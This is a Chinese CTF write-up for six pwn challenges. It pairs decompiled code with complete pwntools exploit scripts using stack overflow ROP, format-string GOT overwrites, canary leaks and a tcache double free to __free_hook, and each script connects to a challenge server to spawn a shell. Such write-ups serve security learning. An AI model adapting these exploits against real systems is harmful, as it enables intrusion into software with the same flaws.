五一去逛唐山的南湖公园了,题目做的有点晚
目录
签到
Description:
无
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main 函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [rsp+0h] [rbp-20h] setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); gets(&v4, 0LL); system("echo hello wrold!"); return 0; }
题不难,入门 Pwn,拿到 shell 后的命令注入比较恶心,过滤了很多东东
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 2 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('124.156.121.112', 28098) elf = ELF('./chall', checksec=False) plt_system = elf.plt['system'] addr_sh = 0x601040 rop1 = 0x00000000004006d3 # pop rdi ; ret rop2 = 0x00000000004004ce # ret # gdb.attach(p, "set follow-fork-mode parent\nb *0x400662\nc") pd = 'a' * 0x28 pd += p64(rop2) pd += p64(rop1) pd += p64(addr_sh) pd += p64(plt_system) p.sendline(pd) p.sendline("tac<./flag") p.interactive()
Flag:
动态靶机
babyFmtstr
Description:
无
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
main 函数如下:
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { char *ptr; // ST08_8 char *v4; // ST10_8 setbuf(stdin, 0LL); setbuf(stdout, 0LL); ptr = vuln(); v4 = check_main(); printf("your motto is \"%s\"\n", v4); free(ptr); free(v4); return 0LL; }
vuln 函数如下:
char *sub_400D0A() { char *v0; // ST08_8 char s; // [rsp+10h] [rbp-40h] unsigned __int64 v3; // [rsp+48h] [rbp-8h] v3 = __readfsqword(0x28u); sleep(0); puts("please input name:"); read_n(&s, 0x32uLL); v0 = strdup(&s); printf("Hello ", 50LL, sleep); printf(&s); return v0; }
read_n 函数如下:
unsigned __int64 __fastcall read_n(__int64 a1, unsigned __int64 a2) { char buf; // [rsp+1Fh] [rbp-11h] unsigned __int64 i; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); for ( i = 0LL; i < a2; ++i ) { read(0, &buf, 1uLL); if ( buf == 10 ) { *(i + a1) = 0; return i + 1; } *(a1 + i) = buf; } *(a2 - 1 + a1) = 0; return a2; }
check_main 函数如下:
char *check_main() { _QWORD *v0; // rax __int64 v2; // [rsp+0h] [rbp-420h] char *v3; // [rsp+8h] [rbp-418h] char s; // [rsp+10h] [rbp-410h] unsigned __int64 v5; // [rsp+418h] [rbp-8h] v5 = __readfsqword(0x28u); puts("please input size of motto:"); v2 = read_strtoll(); if ( v2 < 0 ) v2 = -v2; if ( v2 > 0x400 ) v2 = 0x400LL; puts("please input motto:"); read_n(&s, v2); v3 = strdup(&s); if ( check(&s) ^ 1 ) { v0 = __cxa_allocate_exception(8LL); *v0 = "The format of motto is error!"; __cxa_throw(v0, &`typeinfo for'char const*, 0LL); } return v3; }
read_strtoll 函数如下:
__int64 read_strtoll() { char s; // [rsp+0h] [rbp-30h] unsigned __int64 v2; // [rsp+28h] [rbp-8h] v2 = __readfsqword(0x28u); memset(&s, 0, 0x20uLL); read_n(&s, 0x20uLL); return strtoll(&s, 0LL, 10); }
check 函数如下:
signed __int64 __fastcall sub_400B96(__int64 a1) { int i; // [rsp+14h] [rbp-4h] for ( i = 0; *(i + a1); ++i ) { if ( *(i + a1) <= 0x1F || *(i + a1) == 0x7F ) return 0LL; } return 1LL; }
没啥好说的,格式化字符串漏洞基本都是送分题,就是调试麻烦
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from easyLibc import * from pwn import * debug = 2 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('124.156.121.112', 28037) elf = ELF('./chall', checksec=False) got_free = elf.got['free'] got_strtoll = elf.got['strtoll'] plt_strtoll = elf.plt['strtoll'] addr_main = 0x400E93 p.sendlineafter('name:\n', fmtstr_payload(8, {got_strtoll: addr_main}, write_size='short')) p.sendlineafter('size of motto:\n', '38') # gdb.attach(p, "b *0x400D81\nb *0x400ef3\nc") p.sendlineafter('name:\n', '%12$p') p.recvuntil('Hello ') addr__IO_2_1_stdout_ = int(p.recv(14), 16) # libc6_2.23-0ubuntu11_amd64.so libc = easyLibc('_IO_2_1_stdout_', addr__IO_2_1_stdout_, 1) libcbase = addr__IO_2_1_stdout_ - libc.dump('_IO_2_1_stdout_') addr_system = libcbase + libc.dump('system') p.sendlineafter('size of motto:\n', '31') p.sendlineafter('name:\n', fmtstr_payload(8, {got_free: addr_system & 0xffffffff}, write_size='short') + '\x00') p.sendlineafter('size of motto:\n', '31') pd = '%' + str(addr_system >> 32 & 0xff) + 'c%12$hhn' pd = pd.ljust(0x20, 'a') pd += p64(got_free + 4) pd += '\x00' p.sendlineafter('name:\n', pd) p.sendlineafter('size of motto:\n', '31') pd = '%' + str(addr_system >> 40 & 0xff) + 'c%12$hhn' pd = pd.ljust(0x20, 'a') pd += p64(got_free + 5) pd += '\x00' p.sendlineafter('name:\n', pd) p.sendlineafter('size of motto:\n', '31') # gdb.attach(p, "b *0x400D81\nb *0x400ef3\nc") p.sendlineafter('name:\n', fmtstr_payload(8, {got_strtoll: plt_strtoll + 6}, write_size='byte')) p.sendlineafter('size of motto:\n', '31') p.sendlineafter('t motto:\n', '/bin/sh\x00') success('addr__IO_2_1_stdout_ = ' + hex(addr__IO_2_1_stdout_)) success('libcbase = ' + hex(libcbase)) success('addr_system = ' + hex(addr_system)) p.interactive()
Flag:
动态靶机
MagicString
Description:
无
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
main 函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [rsp+0h] [rbp-2A0h] setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); system("echo Throw away ida pro!!! I want a girlfriend!"); gets((__int64)&v4, 0LL); return 0; }
有后门字符串
.data:0000000000601048 a1 db '/bin/ti',0
还有后门函数,look_here 函数如下:
_BYTE *__fastcall look_here(_BYTE *a1) { _BYTE *result; // rax _BYTE *v2; // [rsp+0h] [rbp-18h] signed int i; // [rsp+14h] [rbp-4h] v2 = a1; for ( i = 0; i <= 1; ++i ) { result = v2; --*v2++; } return result; }
随便打……
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -* from pwn import * debug = 2 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('124.156.121.112', 28020) elf = ELF('./chall', checksec=False) plt_system = elf.plt['system'] rop1 = 0x0000000000400733 # pop rdi ; ret addr_sh = 0x60104d addr_look_here = elf.sym['look_here'] pd = 'a' * 0x2a8 pd += p64(rop1) pd += p64(addr_sh) pd += p64(addr_look_here) pd += p64(plt_system) p.sendlineafter('girlfriend!\n', pd) p.interactive()
Flag:
动态靶机
MengxinStack
Description:
无
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
main 函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // ST0C_4 char buf; // [rsp+10h] [rbp-40h] unsigned __int64 v6; // [rsp+38h] [rbp-18h] v6 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts("She said: hello?"); v3 = read(0, &buf, 0x100uLL) - 1; printf("%s", &buf); read(0, &buf, 0x100uLL); puts("You had me at hello."); return 0; }
先利用第一次的 read 泄露出 canary,覆盖最后一个字节,使程序跳转到如下所示的位置:
0x7f3785b84829 <__libc_start_main+233> mov rax, qword ptr [rsp + 0x18] 0x7f3785b8482e <__libc_start_main+238> call rax
第二个 read 还原 canary,上面这两句话执行完以后程序会返回到 start 函数,重新运行
那么第二次利用第一个 read 泄露出 libc,之后第二个找 libc 里的 rop 来跳转即可
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 1 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('124.156.121.112', 28066) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) elf = ELF('./chall', checksec=False) gdb.attach(p, "b *$rebase(0x9F1)\nc") pd = 'a' * 0x29 p.sendafter('hello?\n', pd) p.recvuntil(pd) canary = u64('\x00' + p.recv(7)) pd = 'a' * 0x28 pd += p64(canary) pd += 's' * 0x18 pd += '\x29' p.send(pd) pd = 'a' * 0x40 p.sendafter('hello?\n', pd) p.recvuntil('\x73\x30') addr___libc_start_main = u64(('\x30' + p.recv(5)).ljust(8, '\x00')) - 240 success('addr___libc_start_main = ' + hex(addr___libc_start_main)) libcbase = addr___libc_start_main - libc.sym['__libc_start_main'] addr_system = libcbase + libc.sym['system'] addr_bin_sh = libcbase + libc.search('/bin/sh').next() addr_pop_rdi_ret = libcbase + libc.search(asm("pop rdi;ret")).next() pd = 'a' * 0x28 pd += p64(canary) pd += 's' * 0x18 pd += p64(addr_pop_rdi_ret + 1) pd += p64(addr_pop_rdi_ret) pd += p64(addr_bin_sh) pd += p64(addr_system) p.send(pd) success('canary = ' + hex(canary)) success('addr___libc_start_main = ' + hex(addr___libc_start_main)) success('libcbase = ' + hex(libcbase)) success('addr_system = ' + hex(addr_system)) success('addr_pop_rdi_ret = ' + hex(addr_pop_rdi_ret)) p.interactive()
Flag:
动态靶机
babyheap
Description:
无
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
main 函数如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax init(); while ( 1 ) { while ( 1 ) { puts("Welcome to The 36D 233333!"); puts("Do you want 36D?\n"); v3 = menu(); if ( v3 != 2 ) break; dele(); } if ( v3 > 2 ) { if ( v3 == 3 ) { show(); } else { if ( v3 == 4 ) { puts("Bye!"); exit(0); } LABEL_14: puts("Invalid"); } } else { if ( v3 != 1 ) goto LABEL_14; add(); } } }
init 函数如下:
unsigned int init() { setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); return alarm(0x3Cu); }
menu 函数如下:
int menu() { puts("1.add"); puts("2.delete"); puts("3.show"); puts("4.exit"); printf(">>"); return readint(); }
add 函数如下:
int add() { signed int i; // [rsp+Ch] [rbp-4h] for ( i = 0; i <= 29; ++i ) { if ( !list[i] ) { list[i] = malloc(0x20uLL); printf("leave some message_of_your 36D:"); readn(list[i], 0x10u); puts("ok\n"); return puts("Now you get your 36D which you want!\n"); } } return puts("Full!"); }
dele 函数如下:
int dele() { char *v0; // rax int v2; // [rsp+Ch] [rbp-4h] printf("index:"); LODWORD(v0) = readint(); v2 = v0; if ( v0 >= 0 && v0 <= 29 ) { v0 = list[v0]; if ( v0 ) { free(list[v2]); puts("ok"); LODWORD(v0) = puts("you delete your 36D!\n"); } } return v0; }
show 函数如下:
int show() { char *v0; // rax int v2; // [rsp+Ch] [rbp-4h] printf("index:"); LODWORD(v0) = readint(); v2 = v0; if ( v0 >= 0 && v0 <= 29 ) { v0 = list[v0]; if ( v0 ) LODWORD(v0) = puts(list[v2]); } return v0; }
readint 函数如下:
int readint() { char nptr; // [rsp+0h] [rbp-20h] unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); readn(&nptr, 8u); return atoi(&nptr); }
readn 函数如下:
__int64 __fastcall readn(__int64 a1, unsigned int a2) { unsigned int i; // [rsp+1Ch] [rbp-4h] for ( i = 0; i < a2; ++i ) { read(0, (i + a1), 1uLL); if ( *(i + a1) == 10 ) { *(i + a1) = 0; return i; } } return a2; }
随便一看程序就是奔放的 UAF 和无检测的功能函数,那么先利用 tcache bin 转为 fastbin 后,制造最后一个 tcache bin 对于 fastbin 的 double free
那么就可以让第一次覆盖到 got 表时,tcache bin 里 0x20 大小的堆块数目不会变为 -1
然后利用 show 泄露 libc,再覆盖 __free_hook 为 one_gadget 即可
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 2 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('124.156.121.112', 28050) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) elf = ELF('./chall', checksec=False) def add(add_msg): p.sendlineafter('>>', '1') p.sendlineafter('r 36D:', add_msg) def delete(delete_idx): p.sendlineafter('>>', '2') p.sendlineafter('index:', str(delete_idx)) def show(show_idx): p.sendlineafter('>>', '3') p.sendlineafter('index:', str(show_idx)) got_alarm = elf.got['alarm'] libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c] for i in range(0, 9): add('') for i in range(0, 9): delete(i) delete(7) for i in range(0, 7): add('') add(p64(got_alarm)) add(p64(got_alarm)) add(p64(got_alarm)) add('') show(19) addr_alarm = u64(p.recv(6).ljust(8, '\x00')) libcbase = addr_alarm - libc.sym['alarm'] addr___free_hook = libcbase + libc.sym['__free_hook'] addr_one_gadget = libcbase + libc_one_gadget[1] delete(0) delete(0) add(p64(addr___free_hook)) add(p64(addr___free_hook)) add(p64(addr_one_gadget)) delete(1) success('addr_alarm = ' + hex(addr_alarm)) success('libcbase = ' + hex(libcbase)) success('addr___free_hook = ' + hex(addr___free_hook)) success('addr_one_gadget = ' + hex(addr_one_gadget)) # gdb.attach(p) p.interactive()
Flag:
动态靶机
tang
Description:
无
Solution:
程序保护如下:
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
首先就看到了这个 hint 函数:
int hint() { return printf("hint:execve"); }
main 函数如下:
int __cdecl main(int argc, const char **argv, const char **envp) { char buf; // [rsp+0h] [rbp-50h] unsigned __int64 v5; // [rsp+38h] [rbp-18h] v5 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); lookhere(); puts("烫烫烫烫烫烫烫烫烫烫烫烫"); read(0, &::buf, 0x190uLL); lookthere(); puts("...你把手离火炉远一点!"); return read(0, &buf, 0x60uLL); }
lookhere 函数如下:
unsigned __int64 lookhere() { char buf; // [rsp+0h] [rbp-20h] unsigned __int64 v2; // [rsp+18h] [rbp-8h] v2 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); puts("你怎么了?"); read(0, &buf, 5uLL); printf(&buf, &buf); return __readfsqword(0x28u) ^ v2; }
lookthere 函数如下:
void *lookthere() { return memcpy(&buf, &off_B78, 0x110uLL); }
思路跟 MengxinStack 差不多,也是 libc 里面找那个跳转,回到 start 函数
第一次格式化字符串泄露 canary,第二次格式化字符串泄露 libc
之后随便打
exp 如下:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 1 context(arch='amd64', endian='el', os='linux') context.log_level = 'debug' if debug == 1: p = process(['./chall']) else: p = remote('124.156.121.112', 28097) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147] p.sendlineafter('你怎么了?\n', '%9$p') canary = int(p.recv(18), 16) p.sendlineafter('烫烫烫\n', 'a') pd = 'a' * 0x38 pd += p64(canary) pd += 's' * 0x18 pd += '\x29' p.sendafter('远一点!\n', pd) # gdb.attach(p, "b *$rebase(0xAC6)\nc") p.sendafter('你怎么了?\n', '%23$p') addr___libc_start_main = int(p.recv(14), 16) - 240 libcbase = addr___libc_start_main - libc.sym['__libc_start_main'] addr_one_gadget = libcbase + libc_one_gadget[3] p.sendlineafter('烫烫烫\n', 'a') pd = 'a' * 0x38 pd += p64(canary) pd += 's' * 0x18 pd += p64(addr_one_gadget) p.sendafter('远一点!\n', pd) success('addr___libc_start_main = ' + hex(addr___libc_start_main)) success('addr_one_gadget = ' + hex(addr_one_gadget)) p.interactive()
Flag:
动态靶机